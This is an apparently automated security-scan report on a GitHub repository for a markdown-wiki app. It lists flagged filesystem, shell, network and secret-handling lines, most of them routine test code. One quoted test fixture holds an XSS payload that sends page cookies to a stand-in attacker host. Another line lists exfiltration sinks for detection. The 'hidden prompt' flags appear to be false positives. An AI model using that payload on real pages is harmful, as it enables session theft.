github JavaScript analyzed 739389e deep scan · partial (108/529 files)

talirezun/the-curator

github

Your brain, then your team's brain, then your agents' brain. Drop in documents and it compounds them into an interlinked markdown wiki you own — readable in Obsidian, synced through your own private GitHub repo. Share it with a cohort. Coding agents resume from it across sessions, models and machines.

maintainer
talirezun
licence
NOASSERTION
first seen
2026-08-29
last seen
2026-09-17
releases · 30d
32
short id

Drift inferred · capture-to-capture

  1. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  2. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  3. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  4. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  5. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  6. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  7. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  8. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  9. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  10. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  11. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  12. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  13. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  14. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  15. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  16. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  17. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  18. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  19. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
  20. HIGH code analysis flagged hidden prompt content in talirezun/the-curator
capabilities 0 tools
transport stdio · http counts 0 tools · 0 res · 0 prompts permission surface via code analysis

No tools enumerated yet for this server.

skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit 739389e · analyzer v33 · 1h ago

skills & prompt files 3

  • hidden: agent-rules: skill-exfil talirezun-the-curator-739389e/CLAUDE.md :627 secret→sink: - **Server binds to 127.0.0.1 only (v3.0.1-beta.20+)** — `app.listen(PORT, '127.0.0.1', ...)`. The Curator is a single-user localhost app; binding to all interfaces (the pre-beta.20 defau

danger signals49

code evidence vv3.56.0 · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 401

filesystem 245

  • fs talirezun-the-curator-739389e/desktop/lib/adhoc-sign.mjs :79 import { readdirSync } from 'node:fs';
  • fs talirezun-the-curator-739389e/desktop/lib/app-version.js :54 import { readFileSync } from 'node:fs';
  • fs talirezun-the-curator-739389e/desktop/lib/dist.js :24 import { existsSync } from 'node:fs';
  • fs talirezun-the-curator-739389e/desktop/lib/update-engine.js :64 import { createWriteStream } from 'node:fs';
  • fs talirezun-the-curator-739389e/desktop/lib/verify-version.mjs :44 import { readdirSync, readFileSync } from 'node:fs';
  • fs talirezun-the-curator-739389e/desktop/lib/window-state.js :52 import { readFileSync, writeFileSync, mkdirSync } from 'node:fs';
  • fs talirezun-the-curator-739389e/desktop/main.js :48 import { existsSync, readFileSync, watch as fsWatch } from 'node:fs';
  • fs talirezun-the-curator-739389e/mcp/storage/local.js :84 import fs from 'node:fs/promises';
  • fs talirezun-the-curator-739389e/mcp/tools/compile.js :21 import { existsSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/bulk-reingest.js :22 import { readdir } from 'fs/promises';
  • fs (weak) talirezun-the-curator-739389e/scripts/check-doc-suite-counts.js :51 import { readFileSync } from 'node:fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/fix-tag-spaces.js :12 import { readFileSync, writeFileSync } from 'fs';
show 28 more
  • fs (weak) talirezun-the-curator-739389e/scripts/fix-wiki-duplicates.js :24 import { readFile, writeFile, readdir, rm } from 'fs/promises';
  • fs (weak) talirezun-the-curator-739389e/scripts/fix-wiki-structure.js :37 import { readFile, writeFile, readdir, rm, mkdir } from 'fs/promises';
  • fs (weak) talirezun-the-curator-739389e/scripts/inject-summary-backlinks.js :15 import { readdir, readFile } from 'fs/promises';
  • fs (weak) talirezun-the-curator-739389e/scripts/measure-ingest-prompt.js :35 import { readFile, readdir, stat } from 'node:fs/promises';
  • fs (weak) talirezun-the-curator-739389e/scripts/probe-openrouter-models.js :100 import { readFile, writeFile, mkdir, readdir, mkdtemp, cp, rm, appendFile, stat } from 'node:fs/promises';
  • fs (weak) talirezun-the-curator-739389e/scripts/publish-dmg-assets.js :61 import { existsSync, readdirSync, renameSync, appendFileSync, statSync } from 'node:fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/release.js :108 import { readFileSync, writeFileSync, existsSync } from 'node:fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/repair-wiki.js :27 import { readFile, writeFile, readdir, rm } from 'fs/promises';
  • fs (weak) talirezun-the-curator-739389e/scripts/run-tests.js :26 import { readdirSync, readFileSync, existsSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-agent-instructions.js :54 import { readFileSync } from 'node:fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-anthropic-content-blocks.js :48 import { mkdtempSync } from 'node:fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-api-keys-contract.js :62 import fs from 'node:fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-app-icon-geometry.js :57 import { existsSync, readFileSync } from 'node:fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-background-mode.js :48 import fs from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta10-fixes.js :19 import { mkdtempSync, rmSync, writeFileSync, existsSync, readFileSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta11-fixes.js :25 import { mkdtempSync, rmSync, existsSync, readFileSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta13-fixes.js :19 import { mkdtempSync, rmSync, copyFileSync, existsSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta14-anthropic-fix.js :33 import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta15-production.js :30 import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta16-broken-links.js :67 import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, existsSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta16-production.js :17 import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta17-production.js :20 import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta25-compile-live.js :32 import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta27-compile-fallback.js :19 import { mkdtempSync, rmSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta27-compile-live.js :26 import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta8-live-llm.js :33 import { mkdtempSync, rmSync, mkdirSync, copyFileSync, readFileSync, existsSync, readdirSync, writeFileSync } from 'fs';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-beta8-stress.js :17 import { mkdtemp, mkdir, readFile, writeFile, readdir, symlink, lstat, unlink, rm, stat } from 'fs/promises';
  • fs (weak) talirezun-the-curator-739389e/scripts/test-build-model.js :61 import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, existsSync, rmSync } from 'fs';

205 more not shown — this panel samples each group; the count above is the real total.

shell / exec 66

  • shell talirezun-the-curator-739389e/desktop/lib/adhoc-sign.mjs :78 import { spawnSync } from 'node:child_process';
  • shell talirezun-the-curator-739389e/desktop/lib/dist.js :23 import { spawnSync } from 'node:child_process';
  • shell talirezun-the-curator-739389e/desktop/lib/verify-version.mjs :43 import { execFileSync } from 'node:child_process';
  • shell talirezun-the-curator-739389e/desktop/main.js :34 * `if (!process.env.CURATOR_NO_OPEN) exec('open http://localhost:'+PORT)`.
  • shell (weak) talirezun-the-curator-739389e/scripts/fix-tag-spaces.js :14 import { execSync } from 'child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/release.js :107 import { spawnSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/repair-wiki.js :501 const { execFileSync } = await import('child_process');
  • shell (weak) talirezun-the-curator-739389e/scripts/run-tests.js :25 import { spawn } from 'child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-beta8-stress.js :21 import { spawn } from 'child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-build-model.js :67 import { execFileSync } from 'child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-desktop-update-macos.js :42 import { spawn, spawnSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-desktop-update.js :65 import { spawn, spawnSync } from 'node:child_process';
show 28 more
  • shell (weak) talirezun-the-curator-739389e/scripts/test-desktop-version-identity.js :62 import { spawnSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-domain-stats.js :61 import { execFileSync, spawnSync } from 'child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-first-run-domains.js :553 const { spawn } = await import('node:child_process');
  • shell (weak) talirezun-the-curator-739389e/scripts/test-frontend-syntax.js :53 import { execFileSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-install-mode.js :56 import { execFileSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-instance-probe.js :62 import { spawn } from 'child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-logger.js :453 // proves the WIRING statically instead: execFile (never exec, so no shell
  • shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-domains-path.js :66 import { spawn } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-e2e.js :58 import { spawn } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-launcher.js :70 import { execFileSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-projects.js :34 import { spawn } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-setup-contract.js :44 import { spawn } from 'child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-working-state.js :39 import { spawn } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-next-composer-model.js :178 import { spawnSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-next-model-picker.js :279 import { spawnSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-next-sync-badge-invalidation.js :61 import { execFileSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-openrouter-catalogue-sync.js :523 const { execFileSync } = await import('child_process');
  • shell (weak) talirezun-the-curator-739389e/scripts/test-paths.js :52 import { execFileSync, spawnSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-raw-store.js :12 * the resolved path is `execFile('open', …)`. So the resolution chokepoint is
  • shell (weak) talirezun-the-curator-739389e/scripts/test-release-preconditions.js :416 // the safety call from exec() changed nothing observable, since no code path
  • shell (weak) talirezun-the-curator-739389e/scripts/test-release-publish.js :58 import { spawnSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-repair-wiki-args.js :28 import { execFileSync } from 'child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-route-write-guards.js :60 import { execFileSync } from 'child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-runner-integration.js :16 import { spawnSync } from 'child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-selected-model.js :28 import { spawnSync } from 'node:child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-hardening.js :383 'sharedbrain.js uses execFile (no shell interpolation of page paths)');
  • shell (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-llm-live.js :48 import { execFileSync } from 'child_process';
  • shell (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-push.js :51 import { execFileSync } from 'child_process';

26 more not shown — this panel samples each group; the count above is the real total.

network 61

  • net talirezun-the-curator-739389e/desktop/lib/port.js :57 import net from 'node:net';
  • net talirezun-the-curator-739389e/desktop/lib/update-plan.js :362 // downloads from. This URL comes off the network and is handed to fetch(),
  • net talirezun-the-curator-739389e/desktop/lib/update-verdict.js :118 * `fetch()` yields an unquarantined one. Both arms are in the macOS suite,
  • net (weak) talirezun-the-curator-739389e/scripts/run-tests.js :319 'test-desktop-update-macos.js', // the update swap against a REAL ad-hoc-signed fixture bundle, with real hdiutil, ditto, plutil and codesign. LIVE_LOCAL rather than OFFLINE because it need
  • net (weak) talirezun-the-curator-739389e/scripts/test-api-keys-contract.js :67 import { createServer } from 'node:http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-background-mode.js :53 import { createServer } from 'http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-build-model.js :66 import { createServer } from 'http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-chat-cancel.js :192 const res = await fetch(url, { ...init, signal: ac.signal });
  • net (weak) talirezun-the-curator-739389e/scripts/test-chat-streaming.js :228 const res = await fetch(url, {
  • net (weak) talirezun-the-curator-739389e/scripts/test-desktop-packaging.js :501 'CONTROL — no assertion in this section escaped to the real fetch (this suite is OFFLINE)');
  • net (weak) talirezun-the-curator-739389e/scripts/test-desktop-update.js :289 'asset-unusable', 'PLAIN HTTP IS REFUSED — the URL comes off the network and is handed to fetch()');
  • net (weak) talirezun-the-curator-739389e/scripts/test-first-run-domains.js :88 import http from 'node:http';
show 28 more
  • net (weak) talirezun-the-curator-739389e/scripts/test-ingest-abort.js :42 import http from 'http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-ingest-activity.js :60 import http from 'node:http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-ingest-model-gone.js :144 const res = await fetch(`${BASE}/api/ingest`, { method: 'POST', body: form });
  • net (weak) talirezun-the-curator-739389e/scripts/test-instance-probe.js :61 import http from 'http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-model-availability.js :388 const res = await fetch(BASE + p, init);
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-chat-compile.js :737 const re = /fetch(?:JSON)?\(\s*['"`]\/api\/domains['"`][\s\S]{0,200}?method:\s*['"`]POST['"`]/g;
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-compile-estimate.js :69 import http from 'http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-existing-knowledge-folder.js :257 async function fetch(url, opts) {
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-markdown.js :711 '<script>fetch("https://evil.example/"+document.cookie)</script>',
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-mcp-wizard.js :816 ok(rawFetches === 1, 'there is exactly ONE raw fetch() in the module (inside getJson)');
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-memory-ingest-text.js :876 /method:\s*'(POST|PUT|PATCH|DELETE)'/i.test("fetch(u, { method: 'POST' })"));
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-memory-view.js :44 * · The view has NO write path, asserted STRUCTURALLY: every `fetch(` call
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-onboarding.js :1139 `the hidden check precedes the fetch (${iHidden} < ${iRefresh}) — a background tab reschedules without hitting the disk`);
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-raw-source.js :388 for (const sink of ['fetch(', 'XMLHttpRequest', 'window.open', 'location.href', 'location.assign', 'navigator.sendBeacon', 'new Image', 'import(']) {
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-recovery-and-badge.js :49 * and the real fetch()/git-fetch behind refreshSyncBadge()/
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-semantic-gate.js :210 // net.nextReject at the fetch() call site itself (network-level failure,
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-sync-badge-invalidation.js :47 * - The real fetch() behind refreshSyncBadge(), and whether the server's
  • net (weak) talirezun-the-curator-739389e/scripts/test-next-sync-spin.js :52 * than re-running it (it performs a real fetch()).
  • net (weak) talirezun-the-curator-739389e/scripts/test-offer-list-memo.js :63 import { createServer } from 'http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-offerable-models-route.js :89 import { createServer } from 'http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-openrouter-catalogue-sync.js :70 import { createServer } from 'http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-openrouter-live.js :203 const res = await fetch(url, init);
  • net (weak) talirezun-the-curator-739389e/scripts/test-route-write-guards.js :59 import { createServer } from 'http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-router-lanes.js :59 import { createServer } from 'http';
  • net (weak) talirezun-the-curator-739389e/scripts/test-selected-model.js :494 const res = await fetch('http://127.0.0.1:' + port + '/api/config/api-keys/model', {
  • net (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-route-guards.js :123 const res = await fetch(BASE + p, init);
  • net (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-routes.js :121 const r = await fetch(url, opts);
  • net (weak) talirezun-the-curator-739389e/scripts/test-sync-hygiene.js :1860 // network conditions that break a fetch (lid closed, VPN dropped,

21 more not shown — this panel samples each group; the count above is the real total.

secrets 20

  • secrets (weak) talirezun-the-curator-739389e/scripts/test-anthropic-content-blocks.js :58 process.env.ANTHROPIC_API_KEY = 'sk-ant-test-not-a-real-key';
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-beta13-chat-live.js :35 if (!process.env.GEMINI_API_KEY) {
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-beta14-anthropic-fix.js :119 const LIVE_KEY = process.env.ANTHROPIC_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-beta8-live-llm.js :82 if (!process.env.GEMINI_API_KEY) {
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-build-model.js :88 delete process.env.GEMINI_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-cancel.js :223 delete process.env.GEMINI_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-intent-live.js :91 const haveGemini = !!keys.geminiApiKey || !!process.env.GEMINI_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-model.js :114 const savedA = process.env.ANTHROPIC_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-streaming.js :260 delete process.env.GEMINI_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-style-live.js :102 const haveGemini = !!keys.geminiApiKey || !!process.env.GEMINI_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-truncation-live.js :99 const haveGemini = !!keys.geminiApiKey || !!process.env.GEMINI_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-ingest-deep.js :120 let geminiKey = process.env.GEMINI_API_KEY || null;
show 8 more
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-ingest-real-llm.js :149 const apiKey = process.env.GEMINI_API_KEY || process.env.ANTHROPIC_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-llm-streaming.js :65 process.env.ANTHROPIC_API_KEY = 'sk-ant-test-not-a-real-key';
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-offer-list-memo.js :85 delete process.env.GEMINI_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-openrouter-catalogue-sync.js :122 delete process.env.OPENROUTER_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-openrouter-live.js :112 delete process.env.GEMINI_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-provider-error-remedies.js :207 const origAnthropic = process.env.ANTHROPIC_API_KEY;
  • secrets (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-route-guards.js :65 delete process.env.GEMINI_API_KEY;
  • secrets talirezun-the-curator-739389e/src/brain/config.js :1395 return keys.geminiApiKey || process.env.GEMINI_API_KEY || null;

declared dependencies 8

  • @modelcontextprotocol/sdk@^1.29.0
  • @anthropic-ai/sdk@^0.39.0
  • @google/generative-ai@^0.24.0
  • dotenv@^16.5.0
  • express@^4.21.2
  • jsonrepair@^3.13.3
  • multer@^2.2.0
  • pdf-parse@^1.1.1

obfuscation 10

  • dynamic require()/import() talirezun-the-curator-739389e/scripts/test-beta14-anthropic-fix.js :146 const cfgMod = await import(`../src/brain/config.js?live=${Date.now()}`);
  • dynamic require()/import() talirezun-the-curator-739389e/scripts/test-beta8-stress.js :218 import('${path.resolve('src/brain/atomic-write.js').replace(/\\\\/g, '/')}').then(async ({ writeFileAtomic }) => {
  • dynamic require()/import() talirezun-the-curator-739389e/scripts/test-build-model.js :147 try { OLD = await import(`../src/brain/${path.basename(BC_PATH)}`); }
  • dynamic require()/import() talirezun-the-curator-739389e/scripts/test-desktop-version-identity.js :391 const hook = await import(`file://${hookPath}`);
  • dynamic require()/import() talirezun-the-curator-739389e/scripts/test-domain-stats.js :681 const { default: router } = await import(${JSON.stringify(pathToFileURL(path.join(PROJECT_ROOT, 'src/routes/domains.js')).href)});
  • dynamic require()/import() talirezun-the-curator-739389e/scripts/test-mcp-launcher.js :268 const m = await import(${JSON.stringify('file://' + path.join(appRoot, 'src/routes/mcp.js'))});
  • dynamic require()/import() talirezun-the-curator-739389e/scripts/test-openrouter-catalogue-sync.js :547 await import(${JSON.stringify(path.join(REPO_ROOT, 'src/routes/config.js'))});
  • dynamic require()/import() talirezun-the-curator-739389e/scripts/test-paths.js :597 const c = await import(${JSON.stringify(path.join(ROOT, 'src/brain/config.js'))});
  • dynamic require()/import() talirezun-the-curator-739389e/scripts/test-sidebar-status-rows.js :245 const m = await import(${JSON.stringify(filesUrl)});
  • dynamic require()/import() talirezun-the-curator-739389e/scripts/test-working-state-stress.js :383 const WS = await import(${JSON.stringify(path.join(REPO, 'src/brain/working-state.js'))});

perm:untrusted 5

  • untrusted (weak) talirezun-the-curator-739389e/scripts/test-api-keys-contract.js :132 const getKeys = async () => (await fetch(BASE + '/api/config/api-keys')).json();
  • untrusted (weak) talirezun-the-curator-739389e/scripts/test-offer-list-memo.js :333 const fetchBody = async () => JSON.parse(await (await fetch(`http://127.0.0.1:${port}/api/config/api-keys`)).text());
  • untrusted (weak) talirezun-the-curator-739389e/scripts/test-offerable-models-route.js :1012 const before = await (await fetch(BASE + '/api/config/api-keys')).json();
  • untrusted (weak) talirezun-the-curator-739389e/scripts/test-router-lanes.js :388 const getKeys = async () => (await fetch(BASE + '/api/config/api-keys')).json();
  • untrusted (weak) talirezun-the-curator-739389e/scripts/test-selected-model.js :499 const after = await (await fetch('http://127.0.0.1:' + port + '/api/config/api-keys')).json();